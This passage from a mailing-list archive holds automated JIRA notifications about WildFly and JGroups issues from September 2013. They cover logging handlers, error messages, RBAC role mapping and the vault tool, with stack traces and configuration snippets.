> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:1019)
> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:998)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deployComponent(ComponentInstallProcessor.java:138)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deploy(ComponentInstallProcessor.java:95)
> 	... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 22:48:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 17 Sep 2013 22:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2102) Improve deployment annotation
 parsing error message
In-Reply-To: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500878.1379471722000.31782.1379472483676@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2102?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2102:
------------------------------

    Fix Version/s: 8.0.0.CR1

    
>  Improve deployment annotation parsing error message 
> -----------------------------------------------------
>
>                 Key: WFLY-2102
>                 URL: https://issues.jboss.org/browse/WFLY-2102
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: EE
>            Reporter: Brad Maxwell
>            Assignee: Brad Maxwell
>             Fix For: 8.0.0.CR1
>
>
> Improve deployment annotation parsing error message 
> Code such as this below, will error with IllegalArgumentException: Empty name segment is not allowed for env.  The env is not enough information to identify what the issue is.
> @Singleton
> @Startup
> public class TestEJB {
>   @Resource(name="/queue/test")
>   private Queue queue;
> }
> Caused by: java.lang.IllegalArgumentException: Empty name segment is not allowed for env
> 	at org.jboss.msc.service.ServiceName.of(ServiceName.java:85) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.msc.service.ServiceName.append(ServiceName.java:112) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.as.naming.deployment.ContextNames.buildServiceName(ContextNames.java:183)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:195)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:186)
> 	at org.jboss.as.naming.deployment.ContextNames.bindInfoFor(ContextNames.java:141)
> 	at org.jboss.as.ee.component.OptionalLookupInjectionSource.getResourceValue(OptionalLookupInjectionSource.java:84)
> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:1019)
> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:998)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deployComponent(ComponentInstallProcessor.java:138)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deploy(ComponentInstallProcessor.java:95)
> 	... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 23:42:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 23:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.31796.1379475723721@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2093:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1008806

    
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 01:56:03 2013
From: jira-events at lists.jboss.org (Jean-Frederic Clere (JIRA))
Date: Wed, 18 Sep 2013 01:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2030) Add ability to use
 annotations from Dependencies in web deployments
In-Reply-To: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500330.1378749840000.32021.1379483763610@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2030?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jean-Frederic Clere resolved WFLY-2030.
---------------------------------------

    Resolution: Done


Fixed by PR #5026
                
> Add ability to use annotations from Dependencies in web deployments
> -------------------------------------------------------------------
>
>                 Key: WFLY-2030
>                 URL: https://issues.jboss.org/browse/WFLY-2030
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 02:20:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 02:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.32100.1379485203557@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805315#comment-12805315 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665]

This is not yet done, see PRODMGT-290.
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 02:20:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 02:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.32104.1379485203886@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805316#comment-12805316 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665] from ON_QA to ASSIGNED
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 02:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 02:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2071) Messaging queue attributes
 must be read-only
In-Reply-To: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500697.1379086256000.32120.1379486823523@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2071?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805321#comment-12805321 ] 

RH Bugzilla Integration commented on WFLY-2071:
-----------------------------------------------

Miroslav Novak <mnovak at redhat.com> made a comment on [bug 1004789|https://bugzilla.redhat.com/show_bug.cgi?id=1004789]


                
> Messaging queue attributes must be read-only
> --------------------------------------------
>
>                 Key: WFLY-2071
>                 URL: https://issues.jboss.org/browse/WFLY-2071
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> Currently, the messaging subsystem's queue and jms-queue resources defines attributes that are writable (eg filter and durable attribute).
> This is not correct, once a queue is created with these attributes, they can not be changed for the lifetime of a queue (a durable queue can not become non-durable).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 03:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.32214.1379489464016@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805335#comment-12805335 ] 

RH Bugzilla Integration commented on WFLY-2009:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 1004714|https://bugzilla.redhat.com/show_bug.cgi?id=1004714] from ON_QA to VERIFIED
                
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>             Fix For: 8.0.0.Beta1
>
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 03:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.32217.1379489464296@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805336#comment-12805336 ] 

RH Bugzilla Integration commented on WFLY-2009:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> made a comment on [bug 1004714|https://bugzilla.redhat.com/show_bug.cgi?id=1004714]

Verified in 6.2.0.ER1
                
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>             Fix For: 8.0.0.Beta1
>
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:39:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 03:39:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2100) Vault.sh logging improvements
In-Reply-To: <JIRA.12500866.1379443771000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500866.1379443771000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500866.1379443771000.32250.1379489944211@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2100?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2100:
-----------------------------------

    Priority: Major  (was: Blocker)

    
> Vault.sh logging improvements
> -----------------------------
>
>                 Key: WFLY-2100
>                 URL: https://issues.jboss.org/browse/WFLY-2100
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chris Dolphy
>            Assignee: Darran Lofthouse
>
> Several errors with vault.sh (ineractive Vault Tool) do not display enough information to debug.    
> For example, "Exception occurred:PBOX000128: Unable to encrypt data".  It would be nice if there was some way to see the cause of this exception either with additional logging options, a verbose option or by default.  This one is caused by VaultInteraction.java only displaying the localized error message of the exception.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:41:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 03:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2100) Vault.sh logging improvements
In-Reply-To: <JIRA.12500866.1379443771000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500866.1379443771000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500866.1379443771000.32254.1379490063461@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2100?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2100:
-----------------------------------

    Fix Version/s: 8.0.0.CR1

    
> Vault.sh logging improvements
> -----------------------------
>
>                 Key: WFLY-2100
>                 URL: https://issues.jboss.org/browse/WFLY-2100
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chris Dolphy
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Several errors with vault.sh (ineractive Vault Tool) do not display enough information to debug.    
> For example, "Exception occurred:PBOX000128: Unable to encrypt data".  It would be nice if there was some way to see the cause of this exception either with additional logging options, a verbose option or by default.  This one is caused by VaultInteraction.java only displaying the localized error message of the exception.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:43:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 18 Sep 2013 03:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1700) STABLE: use a bit set instead
 of a hash set for votes
In-Reply-To: <JIRA.12500852.1379429897000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500852.1379429897000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500852.1379429897000.32257.1379490183916@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1700?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805339#comment-12805339 ] 

Bela Ban commented on JGRP-1700:
--------------------------------

On resetDigest(), we don't use our own digest to see the digest, but leave all seqnos as -1. When a STABLE message is received (also our own), we ignore the seqno if it is -1, otherwise we do a min() for highest_delivered and a max() for highest_received.
This leads to more up-to-date STABILITY messages and thus faster purging of messages seen by everyone.
                
> STABLE: use a bit set instead of a hash set for votes
> -----------------------------------------------------
>
>                 Key: JGRP-1700
>                 URL: https://issues.jboss.org/browse/JGRP-1700
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> Currently, the votes hashset is cleared when the digest is reset, and then votes are added as STABLE messages come in. However, since the digest is based on an Address[] membership, we could create a FixedSizeBitSet, and the bit to set when a STABLE msg is received is computed as the sender's rank in that membership. When all bits are set, we can send a STABILITY message (= all votes have been received).
> This takes up less space than a hashset.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:43:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 18 Sep 2013 03:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1700) STABLE: use a bit set instead
 of a hash set for votes
In-Reply-To: <JIRA.12500852.1379429897000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500852.1379429897000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500852.1379429897000.32259.1379490183993@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1700?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1700.
----------------------------

    Resolution: Done

    
> STABLE: use a bit set instead of a hash set for votes
> -----------------------------------------------------
>
>                 Key: JGRP-1700
>                 URL: https://issues.jboss.org/browse/JGRP-1700
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> Currently, the votes hashset is cleared when the digest is reset, and then votes are added as STABLE messages come in. However, since the digest is based on an Address[] membership, we could create a FixedSizeBitSet, and the bit to set when a STABLE msg is received is computed as the sender's rank in that membership. When all bits are set, we can send a STABILITY message (= all votes have been received).
> This takes up less space than a hashset.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 03:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-352) Add sufficient TRACE / DEBUG
 logging to debug security realm configurations.
In-Reply-To: <JIRA.12489981.1366392604000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489981.1366392604000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489981.1366392604000.32268.1379490423735@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-352?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805340#comment-12805340 ] 

RH Bugzilla Integration commented on WFLY-352:
----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 974324|https://bugzilla.redhat.com/show_bug.cgi?id=974324] from ASSIGNED to POST
                
> Add sufficient TRACE / DEBUG logging to debug security realm configurations.
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-352
>                 URL: https://issues.jboss.org/browse/WFLY-352
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Eric Rich
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: jboss-as-domain-management-7.1.2.Final-redhat-1.jar, log_mgmt_auth_calls.txt
>
>
> When trying to diagnose LDAP or Admin Configuration issue in Domain mode there is currently no logging for any of the authentication information. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 03:47:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 03:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-352) Add sufficient TRACE / DEBUG
 logging to debug security realm configurations.
In-Reply-To: <JIRA.12489981.1366392604000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489981.1366392604000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489981.1366392604000.32275.1379490424113@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-352?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805341#comment-12805341 ] 

RH Bugzilla Integration commented on WFLY-352:
----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> made a comment on [bug 974324|https://bugzilla.redhat.com/show_bug.cgi?id=974324]

This probably actually made it into ER1
                
> Add sufficient TRACE / DEBUG logging to debug security realm configurations.
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-352
>                 URL: https://issues.jboss.org/browse/WFLY-352
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Eric Rich
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: jboss-as-domain-management-7.1.2.Final-redhat-1.jar, log_mgmt_auth_calls.txt
>
>
> When trying to diagnose LDAP or Admin Configuration issue in Domain mode there is currently no logging for any of the authentication information. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 04:39:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 04:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Cryptic error when adding
 duplicate include/exclude definitions to a role.
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.32366.1379493543682@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2099:
-----------------------------------

    Summary: Cryptic error when adding duplicate include/exclude definitions to a role.  (was: Error when adding role assignment)

    
> Cryptic error when adding duplicate include/exclude definitions to a role.
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: rbac-setup.txt
>
>
> When adding a role assigmment as 'administrator" i get this:
> This request
> {noformat}
> {
>     "address" => [
>         ("core-service" => "management"),
>         ("access" => "authorization"),
>         ("role-mapping" => "ADMINISTRATOR"),
>         ("include" => "user-administrator at ManagementRealm")
>     ],
>     "name" => "administrator",
>     "type" => "USER",
>     "realm" => "ManagementRealm",
>     "operation" => "add"
> }
> {noformat}
> ... leads to
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 04:50:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 04:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490000.32399.1379494204827@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805362#comment-12805362 ] 

RH Bugzilla Integration commented on WFLY-2013:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 1004919|https://bugzilla.redhat.com/show_bug.cgi?id=1004919] from ON_QA to VERIFIED
                
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 04:50:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 04:50:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
